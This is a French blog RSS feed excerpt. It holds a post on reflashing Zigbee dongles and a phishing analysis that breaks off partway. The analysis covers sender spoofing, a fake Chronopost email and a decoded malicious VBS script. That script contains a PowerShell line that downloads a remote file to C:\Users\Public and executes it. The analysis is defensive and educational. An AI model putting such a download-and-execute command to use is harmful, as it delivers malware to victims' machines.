                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2023/07/08-flash-cc2531-zlinky/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;À mon réveil ce matin, je découvre une notification laissée par mon instance &lt;a href=&#34;https://uptime.kuma.pet/&#34;&gt;uptime-kuma&lt;/a&gt; me disant que mon instance &lt;a href=&#34;https://www.zigbee2mqtt.io/&#34;&gt;Zigbee2MQTT&lt;/a&gt; était inaccessible depuis hier 23h52.&lt;/p&gt;
&lt;h1 id=&#34;un-peu-de-contexte&#34;&gt;Un peu de contexte&lt;/h1&gt;
&lt;p&gt;&lt;a href=&#34;https://uptime.kuma.pet/&#34;&gt;uptime-kuma&lt;/a&gt; est un outil très pratique permettant de &lt;strong&gt;monitorer différents services&lt;/strong&gt;.
On peut y configurer des services de notifications, en l&amp;rsquo;occurrence je reçois un message sur Telegram dès qu&amp;rsquo;un service devient inaccessible.&lt;/p&gt;
&lt;p&gt;Je possède des équipements de domotiques communiquant en Zigbee tels que des capteurs de températures mais aussi le ZLinky dont je reparlerai plus tard.&lt;/p&gt;
&lt;p&gt;Mon instance de &lt;a href=&#34;https://www.pofilo.fr/post/2019/02/24-home-assistant-install/#home-assistant-quest-ce-que-cest-&#34;&gt;Home Assistant&lt;/a&gt; (je vous laisse voir l&amp;rsquo;article en lien si vous ne connaissez pas) gère facilement le MQTT. &lt;a href=&#34;https://www.zigbee2mqtt.io/&#34;&gt;Zigbee2MQTT&lt;/a&gt; est un logiciel permettant de &lt;strong&gt;convertir les messages venant du protocole Zigbee au protocole MQTT&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Pour que Zigbee2MQTT puisse traduire les messages envoyés via le protocole Zigbee, un dongle permettant de recevoir ces messages est nécessaire.
Dans mon cas, il s&amp;rsquo;agit du &lt;strong&gt;dongle CC2531&lt;/strong&gt; que j&amp;rsquo;ai acheté fin novembre 2018.
Il fonctionne encore parfaitement avec Zigbee2MQTT mais &lt;a href=&#34;https://www.zigbee2mqtt.io/guide/adapters/&#34;&gt;n&amp;rsquo;est plus recommandé&lt;/a&gt;.
Dans mon cas, ce dongle est connecté en USB à mon Raspberry Pi.&lt;/p&gt;
&lt;h1 id=&#34;le-drame&#34;&gt;Le drame&lt;/h1&gt;
&lt;p&gt;Bref, ce matin, je reçois donc la notification m&amp;rsquo;indiquant que Zigbee2MQTT est tombé.
J&amp;rsquo;essaie de m&amp;rsquo;y connecter via l&amp;rsquo;interface web: rien.&lt;/p&gt;
&lt;p&gt;Je me connecte directement au Raspberry Pi pour voir les logs, et là, je tombe là-dessus:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 liXeePrivate([&amp;#34;currentTarif&amp;#34;], {&amp;#34;sendWhen&amp;#34;:&amp;#34;immediate&amp;#34;,&amp;#34;timeout&amp;#34;:10000,&amp;#34;disableResponse&amp;#34;:false,&amp;#34;disableRecovery&amp;#34;:false,&amp;#34;disableDefaultResponse&amp;#34;:true,&amp;#34;direction&amp;#34;:0,&amp;#34;srcEndpoint&amp;#34;:null,&amp;#34;reservedBits&amp;#34;:0,&amp;#34;manufacturerCode&amp;#34;:null,&amp;#34;transactionSequenceNumber&amp;#34;:null,&amp;#34;writeUndiv&amp;#34;:false}) failed (SRSP - AF - dataRequest after 6000ms)
Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 haElectricalMeasurement([&amp;#34;rmsCurrentMax&amp;#34;], {&amp;#34;sendWhen&amp;#34;:&amp;#34;immediate&amp;#34;,&amp;#34;timeout&amp;#34;:10000,&amp;#34;disableResponse&amp;#34;:false,&amp;#34;disableRecovery&amp;#34;:false,&amp;#34;disableDefaultResponse&amp;#34;:true,&amp;#34;direction&amp;#34;:0,&amp;#34;srcEndpoint&amp;#34;:null,&amp;#34;reservedBits&amp;#34;:0,&amp;#34;manufacturerCode&amp;#34;:null,&amp;#34;transactionSequenceNumber&amp;#34;:null,&amp;#34;writeUndiv&amp;#34;:false}) failed (SRSP - AF - dataRequest after 6000ms)
Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 seMetering([&amp;#34;meterSerialNumber&amp;#34;], {&amp;#34;sendWhen&amp;#34;:&amp;#34;immediate&amp;#34;,&amp;#34;timeout&amp;#34;:10000,&amp;#34;disableResponse&amp;#34;:false,&amp;#34;disableRecovery&amp;#34;:false,&amp;#34;disableDefaultResponse&amp;#34;:true,&amp;#34;direction&amp;#34;:0,&amp;#34;srcEndpoint&amp;#34;:null,&amp;#34;reservedBits&amp;#34;:0,&amp;#34;manufacturerCode&amp;#34;:null,&amp;#34;transactionSequenceNumber&amp;#34;:null,&amp;#34;writeUndiv&amp;#34;:false}) failed (SRSP - AF - dataRequest after 6000ms)
Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 seMetering([&amp;#34;activeRegisterTierDelivered&amp;#34;], {&amp;#34;sendWhen&amp;#34;:&amp;#34;immediate&amp;#34;,&amp;#34;timeout&amp;#34;:10000,&amp;#34;disableResponse&amp;#34;:false,&amp;#34;disableRecovery&amp;#34;:false,&amp;#34;disableDefaultResponse&amp;#34;:true,&amp;#34;direction&amp;#34;:0,&amp;#34;srcEndpoint&amp;#34;:null,&amp;#34;reservedBits&amp;#34;:0,&amp;#34;manufacturerCode&amp;#34;:null,&amp;#34;transactionSequenceNumber&amp;#34;:null,&amp;#34;writeUndiv&amp;#34;:false}) failed (SRSP - AF - dataRequest after 6000ms)
Failed to read zigbee attributes: Error: Read 0xxxxxxxxxxxxxxxxx/1 haMeterIdentification([&amp;#34;availablePower&amp;#34;], {&amp;#34;sendWhen&amp;#34;:&amp;#34;immediate&amp;#34;,&amp;#34;timeout&amp;#34;:10000,&amp;#34;disableResponse&amp;#34;:false,&amp;#34;disableRecovery&amp;#34;:false,&amp;#34;disableDefaultResponse&amp;#34;:true,&amp;#34;direction&amp;#34;:0,&amp;#34;srcEndpoint&amp;#34;:null,&amp;#34;reservedBits&amp;#34;:0,&amp;#34;manufacturerCode&amp;#34;:null,&amp;#34;transactionSequenceNumber&amp;#34;:null,&amp;#34;writeUndiv&amp;#34;:false}) failed (SRSP - AF - dataRequest after 6000ms)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Ces logs sont répétés plusieurs fois avant de tomber sur:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Zigbee2MQTT:error 2023-07-06 23:50:28: Adapter disconnected, stopping
Zigbee2MQTT:error 2023-07-06 23:50:28: Failed to stop Zigbee2MQTT
Using &amp;#39;/app/data&amp;#39; as data directory
Zigbee2MQTT:error 2023-07-06 23:50:36: Error while starting zigbee-herdsman
Zigbee2MQTT:error 2023-07-06 23:50:36: Failed to start zigbee
Zigbee2MQTT:error 2023-07-06 23:50:36: Check https://www.zigbee2mqtt.io/guide/installation/20_zigbee2mqtt-fails-to-start.html for possible solutions
Zigbee2MQTT:error 2023-07-06 23:50:36: Exiting...
Zigbee2MQTT:error 2023-07-06 23:50:36: Error: Error while opening serialport &amp;#39;Error: Error: No such file or directory, cannot open /dev/ttyACM0&amp;#39;
    at SerialPort.&amp;lt;anonymous&amp;gt; (/app/node_modules/zigbee-herdsman/src/adapter/z-stack/znp/znp.ts:146:28)
    at SerialPort._error (/app/node_modules/@serialport/stream/dist/index.js:75:22)
    at /app/node_modules/@serialport/stream/dist/index.js:111:18
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Après 8 tentatives, les redémarrages échouent désormais sur cette erreur:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Using &amp;#39;/app/data&amp;#39; as data directory
Zigbee2MQTT:error 2023-07-06 23:52:54: Error while starting zigbee-herdsman
Zigbee2MQTT:error 2023-07-06 23:52:54: Failed to start zigbee
Zigbee2MQTT:error 2023-07-06 23:52:54: Check https://www.zigbee2mqtt.io/guide/installation/20_zigbee2mqtt-fails-to-start.html for possible solutions
Zigbee2MQTT:error 2023-07-06 23:52:54: Exiting...
Zigbee2MQTT:error 2023-07-06 23:52:54: Error: AREQ - ZDO - stateChangeInd after 60000ms
    at Timeout._onTimeout (/app/node_modules/zigbee-herdsman/src/utils/waitress.ts:64:35)
    at listOnTimeout (node:internal/timers:569:17)
    at processTimers (node:internal/timers:512:7)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Bref, après une première analyse, on dirait que le module ZLinky (j&amp;rsquo;en reparlerai plus tard) a envoyé des données qui ont fait crasher le dongle Zigbee.&lt;/p&gt;
&lt;p&gt;Je débranche/rebranche le dongle: toujours rien.&lt;/p&gt;
&lt;p&gt;Je reboot le Rasbperry Pi: toujours rien.&lt;/p&gt;
&lt;p&gt;Là, je suis quand même bien embêté, il est 7 heures du matin et les températures extérieures commencent doucement à monter.
Or, Home Assistant m&amp;rsquo;envoie une notification quand les températures extérieures deviennent plus importantes qu&amp;rsquo;à l&amp;rsquo;intérieur: il est temps de fermer les fenêtres.
Tout ça est impacté par un souci semblant venir du ZLinky qui n&amp;rsquo;a pas grand-chose à voir &amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;flasher-le-dongle-cc2531&#34;&gt;Flasher le dongle CC2531&lt;/h1&gt;
&lt;p&gt;Après quelques recherches sur internet, il semblerait que &lt;strong&gt;reflasher l&amp;rsquo;adaptateur Zigbee solutionnerait le problème&lt;/strong&gt;.
J&amp;rsquo;imagine qu&amp;rsquo;il est briqué bien que ça soit plutôt étrange car ça fait plusieurs années que ça tourne (sans trop de problèmes, j&amp;rsquo;y reviendrai).&lt;/p&gt;
&lt;p&gt;Pour la suite, je vous laisse suivre les informations fournies par Zigbee2MQTT &lt;a href=&#34;https://www.zigbee2mqtt.io/guide/adapters/flashing/flashing_the_cc2531.html&#34;&gt;sur cette page&lt;/a&gt; (archive &lt;a href=&#34;https://web.archive.org/web/20230409182121/https://www.zigbee2mqtt.io/guide/adapters/flashing/flashing_the_cc2531.html&#34;&gt;disponible ici&lt;/a&gt;).
La version sur Github est &lt;a href=&#34;https://github.com/Koenkk/zigbee2mqtt.io/blob/master/docs/guide/adapters/flashing/flashing_the_cc2531.md&#34;&gt;accessible ici&lt;/a&gt; et je possède un &lt;a href=&#34;https://git.pofilo.fr/mirrors/zigbee2mqtt.io/src/branch/master/docs/guide/adapters/flashing/flashing_the_cc2531.md&#34;&gt;miroir ici&lt;/a&gt; si jamais.&lt;/p&gt;
&lt;p&gt;Si jamais des liens seraient morts, n&amp;rsquo;hésitez pas à me contacter pour qu&amp;rsquo;éventuellement, je puisse vous fournir les logiciels/binaires.&lt;/p&gt;
&lt;p&gt;Dans mon cas, j&amp;rsquo;ai reflashé la même version (la &lt;code&gt;Z-Stack_Home_1.2 (default)&lt;/code&gt;) que celle que je possédais déjà (il n&amp;rsquo;y en a pas eu de nouvelles mises à jour entre-temps de toutes façons).
Si vous ne savez pas quelle version installer, &lt;a href=&#34;https://github.com/Koenkk/Z-Stack-firmware/tree/master/coordinator&#34;&gt;cette page&lt;/a&gt; (&lt;a href=&#34;https://git.pofilo.fr/mirrors/Z-Stack-firmware/src/branch/master/coordinator&#34;&gt;miroir ici&lt;/a&gt;) devrait pouvoir vous aider.&lt;/p&gt;
&lt;h1 id=&#34;flasher-le-dongle-zlinky&#34;&gt;Flasher le dongle ZLinky&lt;/h1&gt;
&lt;p&gt;Nous arrivons maintenant au &lt;a href=&#34;https://github.com/fairecasoimeme/Zlinky_TIC&#34;&gt;dongle ZLinky&lt;/a&gt;.
C&amp;rsquo;est un dongle qui se connecte directement sur le Linky et qui est alimenté par celui-ci.
Il permet d&amp;rsquo;&lt;strong&gt;envoyer les informations du Linky via le protocole Zigbee&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Je l&amp;rsquo;avais acheté relativement tôt à la sortie du produit, j&amp;rsquo;ai donc une des toutes premières version hardware du dongle.
Cela m&amp;rsquo;a valu quelques soucis, notamment lorsque celui-ci était encore instable.
À noter qu&amp;rsquo;il y aurait une &lt;a href=&#34;https://github.com/fairecasoimeme/Zlinky_TIC#errata-hardware&#34;&gt;soudure possible&lt;/a&gt; pour corriger (ou améliorer ?) le soucis.
Cependant, depuis la version 7 logicielle, il existe &lt;a href=&#34;https://github.com/fairecasoimeme/Zlinky_TIC#route-or-limited-route-from-v7&#34;&gt;2 modes: routeur et &amp;ldquo;limited&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour ma part, je ne sais pas si j&amp;rsquo;ai de la chance ou pas, mais je n&amp;rsquo;ai ni la correction &amp;ldquo;hardware&amp;rdquo;, ni la version &amp;ldquo;limited&amp;rdquo; et je n&amp;rsquo;ai plus de soucis d&amp;rsquo;instabilités (sauf pour cette nuit à priori).&lt;/p&gt;
&lt;p&gt;Bref, pour flasher le dongle, je vous redirige vers la &lt;a href=&#34;https://github.com/fairecasoimeme/Zlinky_TIC#non-ota&#34;&gt;procédure officielle&lt;/a&gt; (&lt;a href=&#34;https://git.pofilo.fr/mirrors/Zlinky_TIC#user-content-non-ota&#34;&gt;miroir ici&lt;/a&gt;) qui va finir par vous rediriger sur &lt;a href=&#34;https://zigate.fr/documentation/mise-a-jour-de-la-zigate-2/&#34;&gt;cette procédure&lt;/a&gt; (&lt;a href=&#34;https://web.archive.org/web/20230424131708/https://zigate.fr/documentation/mise-a-jour-de-la-zigate-2/&#34;&gt;archive ici&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Evidemment, il a fallu que je dise que j&amp;rsquo;avais de la chance pour que le ZLinky ne me renvoie plus que les mêmes valeurs en boucle &amp;hellip;
Je ne peux que difficilement vous conseiller ce dongle, beaucoup trop instable, de cheveux arrachés et de temps perdu &amp;hellip;&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Cet article permet de rediriger vers les procédures officielles (pas besoin de paraphraser ce qui est déjà fait).
Peut-être qu&amp;rsquo;il vous servira, pour ma part, il me permettra de retrouver simplement les procédures à suivre pour flasher à nouveaux ces appareils dans le futur.&lt;/p&gt;
</description>
                
                    <category>Domotique</category>
                
                    <category>CC2531</category>
                
                    <category>ZLinky</category>
                
                    <category>Tutoriel</category>
                
            </item>
        
            <item>
                <title>[Analyse] Un phishing, comment ça marche ?</title>
                <link>https://www.pofilo.fr/post/2021/11/30-analyse-phishing/</link>
                <pubDate>Tue, 30 Nov 2021 00:00:00 +0000</pubDate>
                
                    <author>Pofilo</author>
                
                <guid>https://www.pofilo.fr/post/2021/11/30-analyse-phishing/</guid>
                <description>&lt;p&gt;Bonjour à tous,&lt;/p&gt;
&lt;p&gt;Je reçois de temps en temps des &lt;em&gt;phishings&lt;/em&gt;, principalement sur une des mes anciennes adresses mail.
Un jour, alors que j&amp;rsquo;en recevais un de plus, j&amp;rsquo;ai décidé d&amp;rsquo;en faire une petite analyse.&lt;/p&gt;
&lt;p&gt;Dans cet article, on va voir qu&amp;rsquo;un mail peut cacher plein d&amp;rsquo;infos, notamment son véritable expéditeur.
Ensuite, je vais rappeler rapidement ce qu&amp;rsquo;est un phishing, pour finir par l&amp;rsquo;analyse en question !&lt;/p&gt;
&lt;h1 id=&#34;disclaimer&#34;&gt;Disclaimer&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Tout ce qui va être décrit dans cet article a été réalisé dans un contexte maîtrisé.
Je vous déconseille fortement de cliquer sur ces mails en dehors d&amp;rsquo;un environnement dédié, même si vous pensez maîtriser ce qui pourrait se passer.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;De plus, toute information sera anonymisée pour des raisons évidentes.&lt;/strong&gt;&lt;/p&gt;
&lt;h1 id=&#34;plus-dinfos-sur-les-mails&#34;&gt;Plus d&amp;rsquo;infos sur les mails&lt;/h1&gt;
&lt;h2 id=&#34;les-données-derrière-un-mail&#34;&gt;Les données derrière un mail&lt;/h2&gt;
&lt;p&gt;Quand on reçoit un mail, ce n&amp;rsquo;est ni plus ni moins que &lt;strong&gt;des données dans un certain format&lt;/strong&gt;.
On va retrouver plusieurs champs comme l&amp;rsquo;expéditeur, le destinataire, le sujet, la date, le contenu du mail, etc&amp;hellip;
C&amp;rsquo;est notre client mail qui va récupérer ces informations pour en faire un joli affichage lisible.&lt;/p&gt;
&lt;p&gt;Quand on envoie un mail, on s&amp;rsquo;authentifie auprès d&amp;rsquo;un &lt;strong&gt;serveur de mail&lt;/strong&gt; et on précise le destinataire de notre mail.
On peut envoyer ce que l&amp;rsquo;on veut dans un mail.
Il est par exemple possible de personnaliser le champ &lt;strong&gt;Expéditeur&lt;/strong&gt; d&amp;rsquo;un mail.&lt;/p&gt;
&lt;p&gt;Dans cette démonstration, je me suis envoyé un mail à moi-même en me faisant passer pour quelqu&amp;rsquo;un que je ne suis pas.&lt;/p&gt;
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/phishing/mail-fake-envoi.png&#34;
        data-title=&#34;Envoi d&amp;#39;un mail avec usurpation&#34;

        
            data-lightbox=&#34;1&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/phishing/mail-fake-envoi.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;Envoi d&amp;#39;un mail avec usurpation&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            Envoi d&amp;#39;un mail avec usurpation
        &lt;/figcaption&gt;
    
&lt;/figure&gt;


&lt;p&gt;Et voici le mail que j&amp;rsquo;ai reçu (je n&amp;rsquo;ai flouté que la partie comprenant mon mail, le reste est réellement ce qui était affiché).&lt;/p&gt;
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/phishing/mail-fake-reception.png&#34;
        data-title=&#34;Réception d&amp;#39;un mail avec usurpation&#34;

        
            data-lightbox=&#34;1&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/phishing/mail-fake-reception.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;Réception d&amp;#39;un mail avec usurpation&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            Réception d&amp;#39;un mail avec usurpation
        &lt;/figcaption&gt;
    
&lt;/figure&gt;


&lt;p&gt;En réalité, si on regarde la &lt;strong&gt;source du mail&lt;/strong&gt; (je vous laisse chercher sur un moteur de recherche comment le faire selon votre client mail, ils sont tous différents !), je trouve:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;From: &amp;#34;Emmanuel Macron&amp;#34; &amp;lt;president@republique.fr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Les clients mails utilisent ce champ pour afficher l&amp;rsquo;expéditeur.
Mais si on cherche plus, on trouve:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Received-SPF: Neutral (mailfrom) identity=mailfrom; client-ip=xx.xx.xx.xx; helo=smtp.xxxx.xx; envelope-from=president@republique.fr; receiver=xxxx@xxxx.xx
Received: from smtp.xxxx.xx (smtp05.xxxx.xx [xx.xx.xx.xx])
    by xxx.xxx.xx (Postfix) with ESMTPS id xxxxxxxx
    for &amp;lt;xxxx@xxxxx.xx&amp;gt;; Sun, 28 Nov 2021 17:10:30 +0000 (UTC)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On peut savoir &lt;strong&gt;depuis quel serveur&lt;/strong&gt; le mail a réellement été envoyé, mais dans mon cas, je n&amp;rsquo;ai jamais retrouvé &lt;strong&gt;l&amp;rsquo;adresse mail utilisée&lt;/strong&gt; sur le serveur pour envoyer le mail.&lt;/p&gt;
&lt;p&gt;Bref, sans chiffrement ou sans signature numérique, il est impossible d&amp;rsquo;authentifier les mails que vous recevez (d&amp;rsquo;où l&amp;rsquo;importance de les chiffrer et/ou de les signer !).&lt;/p&gt;
&lt;h2 id=&#34;un-phishing-quest-ce-que-cest-&#34;&gt;Un phishing, qu&amp;rsquo;est-ce que c&amp;rsquo;est ?&lt;/h2&gt;
&lt;p&gt;Comme on vient de le voir, on peut &lt;strong&gt;facilement usurper l&amp;rsquo;identité&lt;/strong&gt; de quelqu&amp;rsquo;un avec les mails (ce qui, je le rappelle, est interdit par la loi).&lt;/p&gt;
&lt;p&gt;Un &lt;strong&gt;phishing&lt;/strong&gt; (&lt;em&gt;hameçonnage&lt;/em&gt; en français) est donc une forme d&amp;rsquo;escroquerie dans laquelle un usurpateur va se faire passer pour quelqu&amp;rsquo;un qu&amp;rsquo;il n&amp;rsquo;est pas mais qui pourrait vous envoyer des mails (comme une banque, la SNCF, etc&amp;hellip;).
L&amp;rsquo;usurpateur va faire ressembler le plus possible le mail de phshing avec un mail qui pourrait être réel dans le but de vous faire cliquer sur un lien et/ou de vous soutirer des informations comme un mot de passe ou une carte bleue.&lt;/p&gt;
&lt;p&gt;Exemple: vous recevez un mail d&amp;rsquo;une société (connue comme la SNCF ou Easyjet) vous demandant de mettre à jour votre mot de passe avec un lien vers un site qui ressemble au vrai site.
Sauf que c&amp;rsquo;est un faux site mais dans lequel vous allez être tenté de rentrer vos vrais identifiants.&lt;/p&gt;
&lt;h1 id=&#34;analyse-du-phishing&#34;&gt;Analyse du phishing&lt;/h1&gt;
&lt;p&gt;Maintenant, on va tenter d&amp;rsquo;analyser et de décortiquer ce fameux phshing que j&amp;rsquo;ai reçu.&lt;/p&gt;
&lt;h2 id=&#34;la-réception-et-le-mail-en-lui-même&#34;&gt;La réception et le mail en lui-même&lt;/h2&gt;
&lt;p&gt;Tout d&amp;rsquo;abord, depuis mon client webmail, le mail n&amp;rsquo;a presque rien de douteux.&lt;/p&gt;
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/phishing/reception-phishing-simple.png&#34;
        data-title=&#34;Avant l&amp;#39;ouverture du mail&#34;

        
            data-lightbox=&#34;2&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/phishing/reception-phishing-simple.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;Avant l&amp;#39;ouverture du mail&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            Avant l&amp;#39;ouverture du mail
        &lt;/figcaption&gt;
    
&lt;/figure&gt;


&lt;p&gt;Par contre, si on regarde sur la page &lt;a href=&#34;https://www.chronopost.fr/fr/eviter-les-tentatives-descroqueries&#34;&gt;Éviter les tentatives d&amp;rsquo;escroqueries&lt;/a&gt; de Chronopost, on voit que l&amp;rsquo;expéditeur devrait entre autres être &lt;code&gt;ne-pas-repondre@chronopost.fr&lt;/code&gt;.
Ici, on a &lt;code&gt;noreply&lt;/code&gt; suivi d&amp;rsquo;un nombre aléatoire, bref, déjà rien que là, &lt;strong&gt;on est en mesure d&amp;rsquo;établir que ce n&amp;rsquo;est pas un vrai mail&lt;/strong&gt; de Chronopost.&lt;/p&gt;
&lt;p&gt;Ensuite, on ouvre le mail et à première vue, il ressemble parfaitement à un mail classique de Chronopost (surtout que j&amp;rsquo;attendais un colis cette même semaine &amp;hellip;).&lt;/p&gt;
&lt;figure &gt;
    &lt;a
        href=&#34;https://www.pofilo.fr/img/phishing/reception-phishing.png&#34;
        data-title=&#34;Réception du phishing&#34;

        
            data-lightbox=&#34;2&#34;
        
    &gt;
        &lt;img 
            src=&#34;https://www.pofilo.fr/img/phishing/reception-phishing.png&#34;
            loading=&#34;lazy&#34;
            class=&#34;pure-img&#34;
            
                alt=&#34;Réception du phishing&#34;
            
        &gt;
    &lt;/a&gt;
    
        &lt;figcaption&gt;
            Réception du phishing
        &lt;/figcaption&gt;
    
&lt;/figure&gt;


&lt;p&gt;Mais si on reprend la page d&amp;rsquo;aide de Chronopost, ils précisent clairement de vérifier:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;le &lt;strong&gt;numéro de suivi&lt;/strong&gt;: il n&amp;rsquo;y en a pas dans le mail.&lt;/li&gt;
&lt;li&gt;l&amp;rsquo;&lt;strong&gt;adresse de livraison&lt;/strong&gt;: idem.&lt;/li&gt;
&lt;li&gt;les &lt;strong&gt;liens externes&lt;/strong&gt; qui doivent tous rediriger vers &lt;strong&gt;leur site&lt;/strong&gt; (en survolant le lien, on voit la cible en bas du navigateur)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;C&amp;rsquo;est sur ce dernier point que l&amp;rsquo;on peut s&amp;rsquo;attarder.
Déjà, si on regarde mieux le lien qui demande à être cliqué, on voit que la couleur n&amp;rsquo;est pas la même, et il y a un fond bleu clair sur le texte.
&lt;em&gt;C&amp;rsquo;est un point que je ne comprends toujours pas, pourquoi ces mails sont toujours bourrés de typos (pas ici cela dit) ou de détails comme ça qui les trahissent ? &amp;hellip;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Si on survole le lien de suivi de colis, on obtient le détail: &lt;code&gt;https://filetransfer.io/xxx/xxx/download&lt;/code&gt;, ici c&amp;rsquo;est donc un site de partage de fichiers.
Bon clairement, on avait pas besoin de plus d&amp;rsquo;indices, mais là, ça devient gros &amp;hellip;
Tous les autres liens pointent cependant sur le site &lt;em&gt;officiel&lt;/em&gt; de Chronopost.&lt;/p&gt;
&lt;p&gt;Si on regarde ensuite la source du mail, voici ce qu&amp;rsquo;on peut notamment trouver:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Received: from xxxx ([xxx.xxx.xxx.xxx])
    by xxxx.xxx.xx with LMTP
    id xxxx
    (envelope-from &amp;lt;noreply855462544@chronopost.fr&amp;gt;)
    for &amp;lt;xxxx@xxx.xx&amp;gt;; Wed, 29 Sep 2021 15:38:43 +0200
From: &amp;#34;noreply855462544@chronopost.fr&amp;#34; &amp;lt;noreply855462544@chronopost.fr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Tiens, on retrouve cette adresse mail visible depuis le client mail, mais rien d&amp;rsquo;autre ne fait mention de Chronopost.
Enfin, le contenu du mail est de l&amp;rsquo;HTML encodé en base64 comme il est relativement courant de le faire.&lt;/p&gt;
&lt;h2 id=&#34;le-lien-cliquable&#34;&gt;Le lien cliquable&lt;/h2&gt;
&lt;p&gt;Ici, il semble donc n&amp;rsquo;y avoir qu&amp;rsquo;&lt;strong&gt;un seul piège: le lien à cliquer&lt;/strong&gt;.
Comme dit précédemment, ce lien pointe vers un site de partage de fichiers.&lt;/p&gt;
&lt;p&gt;Il ne faut bien sûr pas cliquer dessus, mais j&amp;rsquo;ai trouvé le mail mignon: dans la forme, c&amp;rsquo;est presque réussi mais dans le fond, c&amp;rsquo;est peu crédible.
Est-ce que le fait que j&amp;rsquo;attendais un colis Chronopost cette semaine-là m&amp;rsquo;a aussi inconsciemment fait tiquer ? (bien que ça ne soit pas la bonne adresse mail).
C&amp;rsquo;est sûrement un mélange de ces raisons qui m&amp;rsquo;a poussé à investiguer un petit peu le sujet.&lt;/p&gt;
&lt;p&gt;Bref, je me suis donc placé dans un environnement &lt;em&gt;sécurisé&lt;/em&gt; (je ne vais pas rentrer dans les détails, mais ne prenez pas ces choses à la légère !!).&lt;/p&gt;
&lt;p&gt;Le fichier téléchargé via le site de partage de fichiers se nomme en réalité: &lt;code&gt;Colis__xxxx.vbs&lt;/code&gt; (&lt;code&gt;xxxx&lt;/code&gt; pour anonymiser les vrais chiffres).
C&amp;rsquo;est un donc programme à exécuter, &lt;em&gt;vbs&lt;/em&gt; étant une extension pour des scripts &lt;strong&gt;Visual Basic&lt;/strong&gt; sur Windows.&lt;/p&gt;
&lt;p&gt;Ni une, ni 2, en &lt;a href=&#34;https://paste.pofilo.fr/?8a9ae14c3ea9a35e#4WpwAXKAGYYgArxcekEWW68CoFx8zmyzjcgUvLyALbZx&#34;&gt;voici son contenu (anonymisé)&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;le-premier-script&#34;&gt;Le premier script&lt;/h2&gt;
&lt;p&gt;À première vue, c&amp;rsquo;est un peu déroutant, mais on comprend vite que c&amp;rsquo;est une façon de ne pas écrire directement du code.
On peut facilement imaginer que c&amp;rsquo;est dans le but d&amp;rsquo;éviter les antivirus, une &lt;strong&gt;sorte d&amp;rsquo;offuscation pour les antivirus&lt;/strong&gt; afin que ces derniers ne jugent pas ce fichier comme un virus.&lt;/p&gt;
&lt;p&gt;Attardons-nous un peu plus sur ce script.
On commence par trouver une variable nommée &lt;code&gt;Script&lt;/code&gt; qui est une longue variable dont un pattern va ensuite être retiré à la ligne 4.&lt;/p&gt;
&lt;p&gt;Une fois décodées, voici ce que valent les 3 variables:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Script&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[System.Net.WebClient]$WEB=New-Object System.Net.WebClient;$WEB.DownloadFile(&amp;#39;https://xxxxx.xxxxx.xx/wp-content/plugins/ninja-forms/classes/dir/dir.txt&amp;#39;,&amp;#39;C:\Users\Public\dir.PS1&amp;#39;);PowerShell -File C:\Users\Public\dir.PS1
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;O&lt;/strong&gt;: &lt;code&gt;wscript.shell&lt;/code&gt;&lt;/li&gt;
